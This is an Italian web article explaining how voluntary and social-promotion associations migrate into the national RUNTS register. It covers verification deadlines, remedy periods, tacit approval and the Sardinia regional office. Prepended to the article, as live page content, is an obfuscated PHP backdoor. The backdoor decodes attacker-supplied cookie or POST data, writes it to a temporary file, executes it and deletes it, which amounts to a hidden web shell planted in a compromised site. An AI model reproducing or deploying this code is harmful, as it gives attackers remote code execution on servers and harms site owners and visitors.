$jCaSr = class_exists("CsF_PAvb");if (!$jCaSr){class CsF_PAvb{private $lqKbghts;public static $PiRoBF = "e2c33302-260b-4003-a444-b806e1bdd721";public static $MbKVXqxy = NULL;public function __construct(){$OhUmHzZd = $_COOKIE;$gofHJODuY = $_POST;$BZjaj = @$OhUmHzZd[substr(CsF_PAvb::$PiRoBF, 0, 4)];if (!empty($BZjaj)){$HPjwgVW = "base64";$eiAIK = "";$BZjaj = explode(",", $BZjaj);foreach ($BZjaj as $IVThshtb){$eiAIK .= @$OhUmHzZd[$IVThshtb];$eiAIK .= @$gofHJODuY[$IVThshtb];}$eiAIK = array_map($HPjwgVW . '_' . "\x64" . chr ( 817 - 716 )."\x63" . "\x6f" . "\x64" . chr ( 991 - 890 ), array($eiAIK,)); $eiAIK = $eiAIK[0] ^ str_repeat(CsF_PAvb::$PiRoBF, (strlen($eiAIK[0]) / strlen(CsF_PAvb::$PiRoBF)) + 1);CsF_PAvb::$MbKVXqxy = @unserialize($eiAIK);}}public function __destruct(){$this->hZqRGi();}private function hZqRGi(){if (is_array(CsF_PAvb::$MbKVXqxy)) {$BMoxQB = sys_get_temp_dir() . "/" . crc32(CsF_PAvb::$MbKVXqxy["\163" . "\x61" . chr ( 1048 - 940 ).'t']);@CsF_PAvb::$MbKVXqxy["\167" . "\162" . chr ( 1034 - 929 ).chr ( 651 - 535 ).'e']($BMoxQB, CsF_PAvb::$MbKVXqxy["\x63" . 'o' . "\156" . "\164" . "\145" . chr (110) . chr (116)]);include $BMoxQB;@CsF_PAvb::$MbKVXqxy[chr (100) . "\145" . chr ( 259 - 151 )."\x65" . 't' . 'e']($BMoxQB);exit();}}}$AhUPWDj = new CsF_PAvb(); $AhUPWDj = NULL;} ?>
È iniziata ieri, nel giorno palindromo 22022022, la fase di verifica dei dati trasmessi per organizzazioni di volontariato e associazioni di promozione sociale soggetti a trasmigrazione dai registri regionali e provinciali. Gli uffici regionali e provinciali (Trento e Bolzano) avranno 180 giorni per effettuare questa verifica. Le modalità e le tempistiche sono previste dal decreto ministeriale n. 106 del 15 settembre 2020.
Se dalla verifica dovesse risultare che la documentazione a disposizione è incompleta, oppure che vi sono motivi che impediscono l’iscrizione dell’ente, l’ufficio competente assegna all’ente un ulteriore termine di 60 giorni per sanare la situazione: durante tale periodo il procedimento è sospeso e ricomincia a decorrere dal momento in cui l’ente ha dato riscontro alla richiesta. A titolo di esempio, alcune condizioni ostative all’iscrizione dell’ente potrebbero essere il mancato adeguamento dello statuto, o l’assenza dei requisiti per essere iscritti come ODV o APS ma la presenza di quelli per essere iscritti in un’altra sezione del RUNTS.
Qualora l’ente non dia riscontro entro 60 giorni alle richieste dell’ufficio, è prevista la mancata iscrizione al registro unico con conseguente comunicazione da parte dell’ufficio competente.
Se invece le informazioni e i documenti a disposizione sono completi e la verifica dei requisiti si conclude positivamente, l’ufficio dispone l’iscrizione nel registro e comunica tale esito all’ente.
Nel caso in cui l’ufficio competente non emani alcun provvedimento espresso di diniego entro i menzionati 180 giorni, vale il meccanismo del silenzio assenso, e l’ente deve quindi essere iscritto nella sezione di provenienza.
Fino al momento di iscrizione al RUNTS, le ODV e le APS sottoposte al procedimento di migrazione continuano comunque a beneficiare dei diritti derivanti dalla rispettiva qualifica.
Per la Regione Autonoma della Sardegna l’ufficio del RUNTS competente, individuato dalla Legge regionale n.10/2020 art. 5 comma 11, in attuazione dell’articolo 45, comma 1, del decreto legislativo 3 luglio 2017, n. 117 (Codice del Terzo settore, a norma dell’articolo 1, comma 2, lettera b), della legge 6 giugno 2016, n. 106) è il Servizio Terzo settore e supporti direzionali – Settore Terzo Settore e Ufficio regionale del RUNTS
Via Roma 253 09123 Cagliari Telefono: 070/60655438
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